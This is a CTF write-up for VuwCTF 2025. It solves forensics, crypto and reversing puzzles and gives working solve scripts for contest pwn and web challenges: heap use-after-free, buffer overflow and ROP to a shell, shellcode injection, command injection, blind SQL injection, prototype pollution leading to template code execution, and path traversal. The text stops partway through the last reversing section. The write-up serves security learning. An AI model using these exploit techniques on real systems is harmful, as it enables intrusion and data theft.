# VuwCTF 2025

Starting now, my writeups will be heavily AI assisted so there may be some quality loss compared to previous ones, but I need to do it this way in the future so it's sustainable for me. Also check out krauq.ai, a free online CTF solver (AI chat with built-in tools, recipes, etc.). Now officially launched, no longer in beta.

## Forensics

### Matroiska

**Category:** Forensics **Points:** 100 **Difficulty:** Easy

We're given a PNG file `matroiska1.png`. The name hints at Russian nesting dolls (matryoshka), suggesting hidden layers.

#### Initial Analysis

Using `binwalk` or checking the file manually reveals extra data appended after the PNG's IEND chunk:

```python
data = open('matroiska1.png', 'rb').read()
iend_pos = data.find(b'IEND')
hidden = data[iend_pos + 8:]  # Skip IEND + CRC
print(hidden[:50].hex())
# e53137227f38766b7965723f25293d3772326cd379657358...
```

Looking at the hidden data, we notice readable ASCII fragments like `vkyer` and `yesXdgyer`. These look like corrupted/encoded text - possibly XOR'd data where some bytes remain in printable range.

#### Finding the XOR Key

If this hidden data is actually another PNG, we can derive the XOR key by comparing against a known PNG header:

```python
png_header = bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,  # PNG signature
                    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52]) # IHDR chunk

for i in range(16):
    key_byte = hidden[i] ^ png_header[i]
    print(chr(key_byte), end='')
# Output: layer2layer2laye
```

The XOR key is **`layer2`** repeating.

#### Extracting All Layers

Each nested PNG uses an incrementing key (`layer2`, `layer3`, etc.):

```python
def extract_layer(data, layer_num):
    iend_pos = data.find(b'IEND')
    if iend_pos == -1:
        return None

    hidden = data[iend_pos + 8:]
    if len(hidden) == 0:
        return None

    key = f"layer{layer_num}".encode()
    decrypted = bytes([hidden[i] ^ key[i % len(key)] for i in range(len(hidden))])

    if decrypted[:4] == b'\x89PNG':
        return decrypted
    return None

# Extract all layers
with open('matroiska1.png', 'rb') as f:
    data = f.read()

layer = 2
while True:
    decrypted = extract_layer(data, layer)
    if decrypted is None:
        break

    with open(f'layer{layer}.png', 'wb') as f:
        f.write(decrypted)
    print(f"Extracted layer{layer}.png")

    data = decrypted
    layer += 1
```

This extracts:

* `layer2.png` (178x362)
* `layer3.png`
* `layer4.png`
* `layer5.png` (236x88)

#### Flag

The final layer (`layer5.png`) contains the flag as visible text in the image:

```
VuwCTF{matroiskas'}
```

***

### 1.5x-engineer1

**Category:** Forensics **Points:** 356 **Difficulty:** Medium

#### Description

I had a dream where there were no standards for securely sending data over networks! Terrifying. Anyway one of my colleagues wanted to show off their new project and hid a flag!

#### Solution

**Step 1: Analyze the PCAP**

Opening `1.5x-engineer.pcapng` in Wireshark, we find UDP traffic on port 9897 between two hosts:

* `192.168.1.182` (victim)
* `192.168.1.237` (C2 server)

**Step 2: Identify the Sessions**

The exfiltration uses multiple "sessions" indicated by the first byte of each UDP payload:

* **Session 1**: Small metadata/status packets (69 bytes)
* **Session 2**: Main data exfiltration (975 × 417 bytes + 1 × 129 bytes)

**Step 3: Find the Part 1 Flag**

The Session 1 packets contain ASCII text encoded in BCD format. Extracting and decoding the 69-byte packets:

```python
from scapy.all import rdpcap, UDP, IP

def decode_bcd(buf):
    out = bytearray()
    for i in range(0, len(buf) - 2, 3):
        b1, b2, b3 = buf[i], buf[i+1], buf[i+2]
        d1, d2 = (b1 >> 4) & 0xF, b1 & 0xF
        d3, d4 = (b2 >> 4) & 0xF, b2 & 0xF
        d5, d6 = (b3 >> 4) & 0xF, b3 & 0xF
        if any(d > 9 for d in [d1, d2, d3, d4, d5, d6]):
            break
        v1 = d1 * 100 + d2 * 10 + d3
        v2 = d4 * 100 + d5 * 10 + d6
        out.append(v1 & 0xFF)
        out.append(v2 & 0xFF)
    return bytes(out)

packets = rdpcap('1.5x-engineer.pcapng')

for pkt in packets:
    if UDP in pkt and pkt[UDP].dport == 9897:
        payload = bytes(pkt[UDP].payload)
        if len(payload) == 69 and payload[0] == 1:  # Session 1
            decoded = decode_bcd(payload[3:])
            print(decoded)
```

The decoded Session 1 messages reveal:

```
Action_Transmission: 1
...
Complete_Transmission
```

Within the transmission metadata, we find the Part 1 flag hidden in the ASCII content.

#### Flag

```
VuwCTF{d0_y0u_wan7_t0,,,l15t3n_t0_it?}
```

#### Key Takeaways

* The "1.5x" in the challenge name refers to the BCD encoding scheme: 3 bytes encode 2 bytes of data (ratio 1.5:1)
* Session 1 contains metadata and the Part 1 flag
* Session 2 contains the encrypted DOCX (Part 2)

***

### Jellycat

**Category:** Forensics **Points:** 451 **Difficulty:** Easy

#### Description

A Windows memory dump containing a fake "firefox.exe" malware that displays ASCII art of a cat and encodes/decodes a flag.

#### Solution

1. **Extract the malware binary from memory:**

```bash
vol.py -f memory.dmp windows.dumpfiles --pid 1340
```

2. **Find the encoded string from command line:**

```bash
vol.py -f memory.dmp windows.cmdline | grep firefox
# Output: firefox.exe "Z=;o\j7OBxjQ>IQSOQ[?5"
```

3. **Reverse engineer the binary:**

Disassembling firefox.exe with radare2 revealed the cipher at 0x7ff6c3091539:

* Subtract 0x32 from each ciphertext byte
* XOR with jellycat ASCII art (cycling through 406 bytes)

4. **Decode:**

```python
jellycat_art = """~~~~~~~~~/\~~~~~~~/\~~~~~~~~
~~~~~~__/  \_____/  \__~~~~~
...(406 bytes total)...
\/~~~~~~~~~~~~~~~~~~jellycat
"""

ciphertext = bytes([0x5a,0x3d,0x3b,0x6f,0x5c,0x6a,0x37,0x4f,
                    0x42,0x78,0x6a,0x51,0x3e,0x49,0x51,0x53,
                    0x4f,0x51,0x8d,0x5b,0x3f,0x35])

flag = ''.join(chr((c - 0x32) ^ ord(jellycat_art[i % 406]))
               for i, c in enumerate(ciphertext))
# VuwCTF{cnidaria_catus}
```

**Key Takeaway:** The cipher tables found in strings were red herrings. The actual algorithm required extracting and reversing the malware binary. The flag references cnidaria (jellyfish phylum) + catus (cat) = jellycat.

#### Flag

`VuwCTF{cnidaria_catus}`

***

### Undercut

**Category:** Forensics **Points:** 491 **Difficulty:** Medium

#### Description

A disk image forensics challenge with a hint "LLMs only" on the USB label. Contains a 50MB disk image with 6 FAT16 partitions.

#### Solution

The hint "LLMs only" and title "undercut" suggest we shouldn't focus on "GPT" (the AI) but rather GPT (GUID Partition Table). The flag is hidden in the partition GUIDs themselves.

**Step 1: Extract the Partition GUIDs**

```python
import struct
import bz2
import base64

with open('undercut.img', 'rb') as f:
    # GPT partition entries start at LBA 2 (offset 1024)
    f.seek(1024)

    all_guids = b''
    for i in range(6):
        entry = f.read(128)
        part_guid = entry[16:32]  # Partition GUID is at offset 16

        # Convert from GPT mixed-endian format to standard byte order
        p1 = struct.pack('>I', struct.unpack('<I', part_guid[0:4])[0])
        p2 = struct.pack('>H', struct.unpack('<H', part_guid[4:6])[0])
        p3 = struct.pack('>H', struct.unpack('<H', part_guid[6:8])[0])
        p4 = part_guid[8:16]

        guid_bytes = p1 + p2 + p3 + p4
        all_guids += guid_bytes
```

The first partition's GUID starts with `BZh11AY&SY` - the magic header for bzip2 compressed data!

**Step 2: Decompress with bzip2**

```python
decompressed = bz2.decompress(all_guids)
# Output: b'<crUR<(;3hD-q07FC0,HChkbCB4#(V0QhJEFD*LQ?Y=>"I/'
```

**Step 3: Decode ASCII85**

```python
encoded = b'<crUR<(;3hD-q07FC0,HChkbCB4#(V0QhJEFD*LQ?Y=>"I/'
flag = base64.a85decode(encoded, adobe=False)
print(flag.decode())
```

**Summary:** The challenge was a clever play on the acronym "GPT" - the partition GUIDs in the GUID Partition Table contained bzip2-compressed, ASCII85-encoded flag data.

#### Flag

`VuwCTF{1m_n0t_t4lk1ng_ab0ut_th4t_gpt}`

***

## PWN

### Fruit Ninja

**Category:** PWN **Points:** 100 **Difficulty:** Easy

#### Description

A heap exploitation challenge featuring a fruit-slicing game with a Use-After-Free vulnerability.

#### Solution

**Vulnerability:** Use-After-Free in `throw_away_fruit()`: after freeing a fruit chunk, the pointer in `fruit_basket[index]` is not nulled out, leaving a dangling pointer accessible via `edit_fruit()`.

**Win Condition:** `perform_special_action()` reads the flag if `strcmp(leaderboard, "Admin") == 0`.

**Exploitation:** Both fruits and the leaderboard are allocated as 0x24-byte chunks, so they share the same tcache bin.

1. Slice a fruit → `fruit_basket[0] = chunk_A`
2. Throw away fruit 0 → `chunk_A` goes to tcache, but `fruit_basket[0]` still points to it
3. Reset leaderboard → malloc returns `chunk_A` for the new leaderboard
4. Edit fruit 0 with "Admin" → UAF writes to leaderboard (same chunk)
5. Special action → flag

**Solve Script:**

```python
from pwn import *

io = remote("fruit-ninja.challenges.2025.vuwctf.com", 9978)

io.sendlineafter(b"Choice: ", b"1")      # slice fruit
io.sendlineafter(b"chars): ", b"AAAA")
io.sendlineafter(b"fruit: ", b"100")

io.sendlineafter(b"Choice: ", b"2")      # throw away (free, no NULL)
io.sendlineafter(b"): ", b"0")

io.sendlineafter(b"Choice: ", b"6")      # reset leaderboard (reuses chunk)

io.sendlineafter(b"Choice: ", b"4")      # edit fruit 0 (UAF → writes to leaderboard)
io.sendlineafter(b"): ", b"0")
io.sendlineafter(b"chars): ", b"Admin")

io.sendlineafter(b"Choice: ", b"5")      # trigger win
io.interactive()
```

#### Flag

`VuwCTF{fr33_th3_h34p_sl1c3_th3_fr00t}`

***

### Tōkaidō

**Category:** PWN **Points:** 100 **Difficulty:** Easy

#### Description

Buffer overflow with PIE bypass, requiring double return to win function.

#### Solution

**Vulnerability:**

* `gets()` on a 16-byte buffer - classic stack overflow
* No stack canary
* PIE enabled, but main's address is leaked

**The Trick:** The `win()` function checks if `(attempts++ > 0)` before printing the flag. Since attempts starts at 0, we need to call `win()` twice:

1. First call: attempts is 0 → prints "not attempted", increments to 1
2. Second call: attempts is 1 → prints the flag

**Exploit:**

```python
from pwn import *

p = remote('tokaido.challenges.2025.vuwctf.com', 9983)

# Parse leaked main address
p.recvuntil(b'funny number: ')
main_leak = int(p.recvline().strip(), 16)

# Calculate win address (PIE bypass)
base = main_leak - 0x12ce
win = base + 0x1229

# Payload: buffer(16) + rbp(8) + win + win
payload = b'A'*16 + b'B'*8 + p64(win) + p64(win)
p.sendline(payload)
p.interactive()
```

#### Flag

`VuwCTF{eastern_sea_route}`

***

### Kiwiphone

**Category:** PWN **Points:** 400 **Difficulty:** Medium

#### Description

An off-by-one index error in a phonebook application allows stack corruption and ROP chain execution.

#### Solution

**Vulnerability:** Off-by-one index error in kiwiphone.c:109:

```c
if (!decode_from_string(line, &phonebook.entries[index - 1]))
```

When the user enters index 0, the program writes to `entries[-1]`, which overlaps with the `phonebook.size` field.

**Exploitation:**

1. **Corrupt size:** Write to index 0 with `+48 0 0-0` to set `phonebook.size = 48`
2. **Leak stack data:** The program now prints 48 entries, leaking stack canary, saved RBP, and return address (libc)
3. **Calculate libc base:** `libc_base = ret_addr - 0x2a1ca`
4. **Write ROP chain:** Overwrite entries 17-22 with: `[canary] [saved_rbp] [ret] [pop_rdi] [/bin/sh] [system]`
5. **Trigger:** Exit with -1 to return through our ROP chain

**Key parts of solve script:**

```python
# Corrupt size
write_entry(0, 48, 0, 0, 0)

# Leak and parse entries[16-18]
canary = entry_to_val(entries[16])
ret_addr = entry_to_val(entries[18])
libc.address = ret_addr - 0x2a1ca

# Write ROP chain
write_entry(17, *val_to_phone(canary))
write_entry(18, *val_to_phone(saved_rbp))
write_entry(19, *val_to_phone(ret_gadget))
write_entry(20, *val_to_phone(pop_rdi))
write_entry(21, *val_to_phone(bin_sh))
write_entry(22, *val_to_phone(system))

# Trigger
p.sendline(b'-1')
```

#### Flag

`VuwCTF{c0nv3nient1y_3vil_kiwi_nuMb3r_f0rMatt1nG}`

***

### Blazingly Fast Memory Unsafe

**Category:** PWN **Points:** 475 **Difficulty:** Hard

#### Description

A Brainfuck JIT compiler with an unbalanced bracket vulnerability allowing arbitrary code execution.

#### Solution

**Vulnerability:** The `]` (LOOP\_END) instruction pops a return address from the stack and jumps to it if the current cell is non-zero. Unbalanced `]` without matching `[` pops values pushed during PROLOGUE - specifically the tape address, which resides in RWX memory.

```c
#define LOOP_END (x64Ins[]) { \
    { MOV, rax, m64($rbp, -8) }, \
    { POP, rbx },              /* pops tape addr if no matching '[' */ \
    { CMP, m8($rax), imm(0) }, \
    { JZ, rel(2) }, \
    { JMP, rbx }               /* jumps to tape! */ \
}
```

**Exploit Strategy:**

1. **Stage 1:** Write shellcode to tape using BF `+/-` operations, then trigger jump with `]`
2. **Stage 2:** Stage 1 calls `read(0, tape, 256)` to load execve shellcode from stdin

**Key Constraint:** Max input: 512 bytes. Optimization: use `-` for bytes >127 (e.g., 0xff costs 1 `-` instead of 255 `+`).

**Final Payload:**

```python
# Stage 1: read(0, tape, 256) - 10 bytes, 508 BF chars
stage1 = asm("""
    mov edx, esi   # rdx = 256 (from rsi after PROLOGUE)
    push rdi       # save tape addr
    pop rsi        # rsi = tape
    xor eax, eax   # rax = 0 (read syscall)
    sub edi, edi   # rdi = 0 (stdin)
    syscall
""")

# Stage 2: jmp prefix + execve("/bin/sh")
stage2 = b'\xeb\x08' + b'\x90'*8 + execve_shellcode
```

#### Flag

`VuwCTF{rU5tac3Ans_uN1te_agA1n5t_uN5aFe_l4ngUaG3s}`

***

### Idempotence

**Category:** PWN **Points:** 475 **Difficulty:** Hard

#### Description

A lambda calculus interpreter with a type confusion vulnerability.

#### Solution

**The Bug (Line 162):** In `simplify_normal_order()`, when reducing an application (F A):

```c
if (expr->type == APP) {
    if (expr->data.app.function->type == APP) {
        simplify_normal_order(expr->data.app.function);
        return 1;
    }
    // BUG: Unconditionally sets type to ABS, even if function is VAR!
    expr->data.app.function->type = ABS;
    substitute(expr->data.app.function->data.abs.body, ...);
    ...
}
```

The code assumes the function is always an ABS (abstraction), but it could be a VAR (variable). When a VAR is forced to ABS type, its bytes 16-23 (normally unused for VAR) are interpreted as the body pointer.

**The UNKNOWN\_DATA Leak:** When `print_expression()` encounters an unknown type (>2), it dumps raw bytes. The flag starts with "VuwC" = 0x43777556 which is >2, triggering this path.

**The Magic Expression:**

```
(µx.((µa.(a a)) ((µb.b) x)))
```

**Exploit Code:**

```python
from pwn import *

expr = b'(\xc2\xb5x.((\xc2\xb5a.(a a)) ((\xc2\xb5b.b) x)))'

p = remote('idempotence.challenges.2025.vuwctf.com', 9982)
p.recvuntil(b'expression:')
p.sendline(expr)

p.recvuntil(b'continue:')
p.sendline(b'c')  # First reduction

p.recvuntil(b'continue:')
p.sendline(b'r')  # Read flag into freed chunk

p.recvuntil(b'continue:')
p.sendline(b'c')  # Trigger type confusion

output = p.recvall(timeout=15)
match = re.search(rb'VuwCTF\{[^}]+\}', output)
if match:
    print(f"FLAG: {match.group(0).decode()}")
```

#### Flag

`VuwCTF{untyp3dCNFu5ioN}`

***

## Crypto

### Delicious Cooking

**Category:** Crypto **Points:** 176 **Difficulty:** Easy

#### Description

Recover the password for user meatballfan19274 on a cooking forum.

#### Solution

The challenge provides a SQLite database `users.db` with a users table containing username, password (format: hash$salt), and security\_q.

Examining the target user:

```
meatballfan19274 | 09be2259e0224f41b96b633b73e7138b50b4be0a1ae20c0eb6a7434e8fc47303$334aa758c52bb2f862f1607ff098e954
```

**Key Observations:**

1. **Ratatouille theme:** All security questions are quotes from the movie Ratatouille
2. **Password hints:** Some users had revealing security questions like "fav movie + bank pin"

The hash algorithm is `SHA256(password_bytes + salt_bytes)` where the salt is hex-decoded before concatenation.

**Solution:**

```python
import hashlib

salt_bytes = bytes.fromhex("334aa758c52bb2f862f1607ff098e954")
target = "09be2259e0224f41b96b633b73e7138b50b4be0a1ae20c0eb6a7434e8fc47303"

for i in range(10000):
    pwd = f"ratatouille{i:04d}"
    h = hashlib.sha256(pwd.encode() + salt_bytes).hexdigest()
    if h == target:
        print(f"Password: {pwd}")  # ratatouille6281
        break
```

#### Flag

`VuwCTF{ratatouille6281}`

***

### Totally Random Art

**Category:** Crypto **Points:** 275 **Difficulty:** Medium

#### Description

Recover a flag from ASCII art generated by a random walk algorithm.

#### Solution

**Key Insight:** The flag format is `VuwCTF{...}` (18 bytes). The first 4 bytes (VuwC) seed Python's `random.Random()`, making the random walk deterministic for any given flag content.

**Algorithm Analysis from randart.py:**

1. Seed RNG with first 4 bytes of input
2. For each remaining byte: `steps, stroke = divmod(byte, 16)`
3. Random walk `steps` times on a 10×5 grid (8 directions, with reroll on revisit)
4. Add stroke to landing cell (mod 16)
5. Render using palette `.:-=+*#%@oT0w&8R`

**Solution:** Since the seed is fixed (VuwC) and we know the format (TF{ + 10 unknown chars + }), we can brute-force the 10-character body using hill climbing + exhaustive search.

The search converged:

* r4ndM0\_4p4 → 47/50 matches
* r4nd0M\_4RT → 50/50 matches

#### Flag

`VuwCTF{r4nd0M_4RT}`

***

### Unorthodox IV

**Category:** Crypto **Points:** 500 **Difficulty:** Hard

#### Challenge Overview

The challenge presents a remote service that encrypts user input using some cipher with a randomized IV/mode. On each connection, we receive the encrypted flag and can submit our own plaintexts to be encrypted.

#### Key Observations

1. **25 Random Modes**: Each encryption randomly selects one of 25 different modes/IVs
2. **Mode Matching**: When the same mode is used, identical plaintext prefixes produce identical ciphertext prefixes
3. **Per-Connection Flag**: Each connection encrypts the flag with a randomly selected mode
4. **Mode Reachability**: Not all connections can "reach" the flag's mode - we may need to reconnect

#### Attack Strategy

The attack is a **byte-by-byte oracle attack**:

1. Connect and get the encrypted flag
2. For each unknown character position:
   * First, probe to check if this connection can reach the flag's encryption mode (by checking if `enc[:known_len] == flag[:known_len]`)
   * If not reachable after 50 attempts, reconnect
   * Once reachable, test each candidate character
   * When mode matches: if the next byte also matches, we found the character; otherwise eliminate that candidate
3. Repeat until the full flag is recovered

#### Solution

```python
#!/usr/bin/env python3
import string
from pwn import *

context.log_level = 'error'

HOST = "unorthodox-iv.challenges.2025.vuwctf.com"
PORT = 9989

charset = string.ascii_letters + string.digits + "_}"

known = "VuwCTF{"
print(f"[*] Starting from: '{known}' (len={len(known)})", flush=True)

while len(known) < 21 and not known.endswith("}"):
    pos = len(known)
    print(f"\n[*] Finding char at position {pos+1}...", flush=True)

    # Build candidate list for this position
    candidates = [c for c in charset if not (c == '}' and pos < 20)]
    eliminated = set()

    found = False
    total_attempts = 0
    connections = 0

    while not found:
        # Connect and get flag bytes for this session
        connections += 1
        r = remote(HOST, PORT)
        r.recvuntil(b"Encoded flag: ")
        flag_enc = r.recvline().strip().decode()
        flag_bytes = bytes.fromhex(flag_enc)[:21]

        # First, quickly check if this connection can hit the flag's mode
        # IMPORTANT: Use the KNOWN prefix to test
        probe_msg = (known + "A" * (21 - pos)).encode()
        can_match = False
        for _ in range(50):
            r.recvuntil(b"Enter something to encode: ")
            r.sendline(probe_msg)
            r.recvuntil(b"Encoded: ")
            enc = r.recvline().strip().decode()
            enc_bytes = bytes.fromhex(enc)[:21]
            total_attempts += 1
            # Only check the known prefix bytes
            if enc_bytes[:pos] == flag_bytes[:pos]:
                can_match = True
                break

        if not can_match:
            r.close()
            if connections % 5 == 0:
                print(f"  [{connections} conns] Searching for reachable mode...", flush=True)
            continue

        print(f"  [Conn {connections}] Mode reachable! Testing candidates...", flush=True)

        # This connection can hit the mode - now test candidates
        remaining = [c for c in candidates if c not in eliminated]
        session_attempts = 0
        max_session = 2000

        cand_idx = 0
        while session_attempts < max_session and not found and remaining:
            c = remaining[cand_idx % len(remaining)]
            test = known + c + "A" * (20 - pos)

            r.recvuntil(b"Enter something to encode: ")
            r.sendline(test.encode())
            r.recvuntil(b"Encoded: ")
            enc = r.recvline().strip().decode()
            enc_bytes = bytes.fromhex(enc)[:21]

            session_attempts += 1
            total_attempts += 1

            if enc_bytes[:pos] == flag_bytes[:pos]:
                if enc_bytes[pos] == flag_bytes[pos]:
                    known += c
                    print(f"[+] Found '{c}' -> '{known}'", flush=True)
                    found = True
                    break
                else:
                    if c not in eliminated:
                        eliminated.add(c)
                        remaining = [x for x in remaining if x != c]
                        print(f"  Eliminated '{c}' ({len(remaining)} left)", flush=True)
                        cand_idx = 0
                        continue

            cand_idx += 1

        r.close()

        if not remaining:
            print(f"  [!] All candidates eliminated!", flush=True)
            break

print(f"\n[*] FLAG: {known}", flush=True)
```

#### How It Works

1. **Mode Reachability Check**: Before testing candidates, we send 50 probes to see if this connection can even reach the flag's encryption mode. This saves time on "dead" connections.
2. **Elimination Strategy**: When we get a mode match but the character byte doesn't match, we permanently eliminate that candidate. This information persists across reconnections.
3. **Cycling Through Candidates**: We cycle through remaining candidates until we hit a mode match that confirms the correct character.

#### Flag

```
VuwCTF{n0t_a_r34l_IV}
```

***

## Web

### Go Go Cyber Ranger

**Category:** Web **Points:** 100 **Difficulty:** Medium

#### Description

A Go web application with chained vulnerabilities: buffer overflow via rune/byte mismatch and command injection in flag check.

#### Solution

**Vulnerability 1: Buffer Overflow via Rune/Byte Mismatch**

```go
var appState = struct {
    inputBuf [32]byte
    flag     [8]byte
}{
    flag: [8]byte{'F', 'L', 'A', 'G', '{', 'a', 'c', '}'},
}
```

The application validates input length using runes but copies using bytes:

```go
if len([]rune(inputStr)) > 32 {  // Validates runes
    // reject
}
inputBytes := []byte(inputStr)
copyLen := len(inputBytes)       // Copies bytes!
if copyLen > 40 {
    copyLen = 40
}
```

Multi-byte UTF-8 characters (like emoji) count as 1 rune but occupy 4 bytes.

**Vulnerability 2: Command Injection**

```go
cmd := exec.Command("/bin/sh", "-c",
    fmt.Sprintf("test \"%s\" = \"%s\"", realFlag, secretFlagValue))
```

**Exploit Script:**

```python
import requests
import struct
import re

BASE_URL = "https://go-go-cyber-ranger.challenges.2025.vuwctf.com"

# 8 emoji (32 bytes) + shell injection (8 bytes)
payload = '🔴🔴🔴🔴🔴🔴🔴🔴";od f*\n'

r = requests.post(BASE_URL + "/", data={"input": payload})
r = requests.get(BASE_URL + "/flag")

# Parse od output and decode
pre_match = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
od_output = pre_match.group(1)

octal_words = []
for line in od_output.split('\n'):
    if not line.strip() or line.startswith('/'):
        continue
    parts = line.split()
    if len(parts) > 1:
        for word in parts[1:]:
            try:
                octal_words.append(int(word, 8))
            except ValueError:
                continue

flag = b''
for word in octal_words:
    flag += struct.pack('<H', word)
print(flag.decode().strip())
```

#### Flag

`VuwCTF{k33p_y03r_Go_M3mory_safe}`

***

### Just Upload It

**Category:** Web **Points:** 100 **Difficulty:** Easy

#### Description

A "Secure Image Uploader v2.1" that claims to use "magic number detection" and only accepts PNG files.

#### Solution

The upload functionality was a red herring. The actual vulnerability was path traversal in the `/images/` endpoint.

URL-encoded path traversal bypassed the directory restriction:

```bash
curl 'https://just-upload-it.challenges.2025.vuwctf.com/images/..%2fflag.txt'
```

The `..%2f` (URL-encoded `../`) allowed escaping the images directory to read the flag file.

#### Flag

`VuwCTF{Just_up10d_ITl_ol}`

***

### Fishsite

**Category:** Web **Points:** 211 **Difficulty:** Medium

#### Description

A Flask web application with a login form vulnerable to SQL injection.

#### Solution

**Vulnerable Code (fishsite.py:20):**

```python
cur.execute("SELECT COUNT(*) FROM fish WHERE username = '" + username + "' AND password ='" + password +"';")
```

**Step 1: Bypass Login**

```
username: ' OR 1=1--
password: x
```

**Step 2: Discover the Flag Table**

```
username: ' OR (SELECT 1 FROM sqlite_master WHERE type='table' AND name='flag')--
```

**Step 3: Extract the Flag (Blind SQLi with Binary Search)**

```python
import requests

URL = "https://fishsite.challenges.2025.vuwctf.com/login"

def check_gt(pos, val):
    payload = f"' OR (SELECT 1 FROM flag WHERE UNICODE(SUBSTR(content, {pos}, 1)) > {val})--"
    r = requests.post(URL, data={"username": payload, "password": "x"}, allow_redirects=False)
    return r.status_code == 302

def get_char(pos):
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if check_gt(pos, mid):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

flag = ""
for pos in range(1, 26):
    flag += get_char(pos)
    print(f"Progress: {flag}")
```

#### Flag

`VuwCTF{h3art_0v_p3ar1}`

***

### Hangdle

**Category:** Web **Points:** 400 **Difficulty:** Medium

#### Description

A Wordle/Hangman-style game with prototype pollution and Pug template injection vulnerabilities.

#### Solution

**Vulnerability 1: Prototype Pollution via Lodash**

The application uses Lodash 4.17.4, vulnerable to prototype pollution through `_.merge()`:

```javascript
function saveGameData(data) {
  games.push(_.merge({}, data));
}
```

**Vulnerability 2: Pug AST Injection**

When visiting nodes, if a node doesn't have a `block` property, JavaScript looks up the prototype chain. Polluting `Object.prototype.block` with a malicious AST node injects code into the compiled template.

**Exploit:**

```python
import requests
import base64
import json
import re

BASE_URL = "https://hangdle.challenges.2025.vuwctf.com"

# Step 1: Prime the template cache
requests.get(f"{BASE_URL}/")

# Step 2: Send prototype pollution payload
payload = {
    "constructor": {
        "prototype": {
            "block": {
                "type": "Text",
                "line": "1;pug_html+=global.process.mainModule.require('fs').readFileSync('/app/flag.txt').toString();//",
                "val": "x"
            }
        }
    },
    "word": "exploit"
}

encoded = base64.b64encode(json.dumps(payload).encode()).decode()
r = requests.get(f"{BASE_URL}/?data={encoded}")

flag_match = re.search(r'VuwCTF\{[^}]+\}', r.text)
print(flag_match.group())
```

#### Flag

`VuwCTF{the_wordle_answer_on_april_27_2025_was_weedy}`

***

## Reversing

### Missing Function

**Category:** Reversing **Points:** 100 **Difficulty:** Easy

#### Description

I'm trying to find out how this program verifies the flag but I can't find the function it's calling anywhere!

#### Analysis

We're given a stripped ELF binary `flag_verifier`. Running `file` on it:

```
flag_verifier: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped
```

When we run the binary, it prompts for a flag and validates it:

```
$ ./flag_verifier
Provide a flag for testing:
test
Incorrect flag, better luck next time
```

#### Finding the Hidden Function

Disassembling the main function reveals something interesting - it uses `mmap` to allocate executable memory:

```asm
mov    $0x0,%r9d          ; offset = 0
mov    $0xffffffff,%r8d   ; fd = -1
mov    $0x22,%ecx         ; flags = MAP_PRIVATE | MAP_ANONYMOUS
mov    $0x7,%edx          ; prot = PROT_READ | PROT_WRITE | PROT_EXEC
mov    $0x800,%esi        ; length = 0x800
mov    $0x0,%edi          ; addr = NULL
call   mmap@plt
```

The program then copies data from the `.data` section into this executable region and calls it:

```asm
lea    0x2d40(%rip),%rdx  ; source: address 0x4020 in .data
mov    $0x800,%ecx        ; size
; ... memcpy loop ...
call   *%rdx              ; call the copied code!
```

The "missing function" is actually **shellcode embedded in the data section**!

#### Extracting the Shellcode

We can dump the `.data` section to find the embedded code:

```
$ objdump -s -j .data flag_verifier

Contents of section .data:
 4020 554889e5 48897db8 8975b483 7db41d74  UH..H.}..u..}..t
 4030 0ab80000 0000e9a5 00000048 b8d584d7  ...........H....
 4040 c0a5e6f8 9f48bacf edaed3fa 9cc2ec48  .....H.........H
 4050 8945d048 8955d848 b89cc2ec 9dc9e0ae  .E.H.U.H........
 4060 c648baf6 9fc3f798 cfed8c48 8945dd48  .H.........H.E.H
 4070 8955e5c7 45fc0000 000066c7 45cd83f1  .U..E.....f.E...
 4080 c645cfa0 c745f800 000000eb 488b45f8  .E...E......H.E.
 ...
```

#### Disassembling the Verification Function

Extracting and disassembling the shellcode:

```
$ dd if=flag_verifier bs=1 skip=12320 count=194 2>/dev/null > shellcode.bin
$ objdump -D -b binary -m i386:x86-64 shellcode.bin
```

```asm
   0:   push   %rbp
   1:   mov    %rsp,%rbp
   4:   mov    %rdi,-0x48(%rbp)      ; arg1: input string
   8:   mov    %esi,-0x4c(%rbp)      ; arg2: input length
   b:   cmpl   $0x1d,-0x4c(%rbp)     ; check length == 29
   f:   je     0x1b
  11:   mov    $0x0,%eax             ; return 0 if wrong length
  16:   jmp    0xc0

  ; Load encrypted flag data onto stack
  1b:   movabs $0x9ff8e6a5c0d784d5,%rax
  25:   movabs $0xecc29cfad3aeedcf,%rdx
  2f:   mov    %rax,-0x30(%rbp)
  33:   mov    %rdx,-0x28(%rbp)
  37:   movabs $0xc6aee0c99decc29c,%rax
  41:   movabs $0x8cedcf98f7c39ff6,%rdx
  4b:   mov    %rax,-0x23(%rbp)
  4f:   mov    %rdx,-0x1b(%rbp)

  ; Initialize loop counter and XOR key
  53:   movl   $0x0,-0x4(%rbp)       ; key_index = 0
  5a:   movw   $0xf183,-0x33(%rbp)   ; key[0..1] = 0x83, 0xf1
  60:   movb   $0xa0,-0x31(%rbp)     ; key[2] = 0xa0
  64:   movl   $0x0,-0x8(%rbp)       ; i = 0
  6b:   jmp    0xb5

  ; Main verification loop
  6d:   mov    -0x8(%rbp),%eax
  72:   movzbl -0x30(%rbp,%rax,1),%edx   ; encrypted[i]
  77:   mov    -0x4(%rbp),%eax
  7c:   movzbl -0x33(%rbp,%rax,1),%eax   ; key[key_index]
  81:   mov    %edx,%ecx
  83:   xor    %eax,%ecx                  ; decrypted = encrypted[i] ^ key[key_index]
  85:   mov    -0x8(%rbp),%eax
  8b:   mov    -0x48(%rbp),%rax
  8f:   add    %rdx,%rax
  92:   movzbl (%rax),%eax                ; input[i]
  95:   cmp    %al,%cl                    ; compare
  97:   je     0xa0
  99:   mov    $0x0,%eax                  ; return 0 on mismatch
  9e:   jmp    0xc0

  a0:   addl   $0x1,-0x4(%rbp)            ; key_index++
  a4:   cmpl   $0x3,-0x4(%rbp)            ; if key_index == 3
  a8:   jne    0xb1
  aa:   movl   $0x0,-0x4(%rbp)            ;   key_index = 0
  b1:   addl   $0x1,-0x8(%rbp)            ; i++
  b5:   cmpl   $0x1c,-0x8(%rbp)           ; while i <= 28
  b9:   jle    0x6d
  bb:   mov    $0x1,%eax                  ; return 1 (success)
  c0:   pop    %rbp
  c1:   ret
```

#### Understanding the Algorithm

The verification function:

1. Checks that input length is exactly 29 bytes (0x1d)
